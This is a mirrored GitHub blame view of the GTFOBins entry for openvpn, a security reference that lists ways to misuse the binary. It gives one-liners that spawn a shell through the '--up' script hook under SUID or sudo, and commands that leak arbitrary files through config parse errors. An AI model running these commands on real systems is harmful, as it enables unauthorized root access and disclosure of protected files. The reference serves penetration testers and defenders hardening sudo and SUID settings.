1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/openvpn.md

23 lines
798 B
Markdown
Raw Normal View History

2021-02-20 00:33:43 +01:00
---
functions:
2021-02-20 00:52:04 +01:00
file-read:
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
code: |
LFILE=file_to_read
openvpn --config "$LFILE"
2021-02-20 00:33:43 +01:00
suid:
- code: |
./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"'
2021-02-20 00:52:04 +01:00
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
code: |
LFILE=file_to_read
./openvpn --config "$LFILE"
2021-02-20 00:33:43 +01:00
sudo:
- code: |
sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'
2021-02-20 00:52:04 +01:00
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
code: |
LFILE=file_to_read
sudo openvpn --config "$LFILE"
2021-02-20 00:33:43 +01:00
---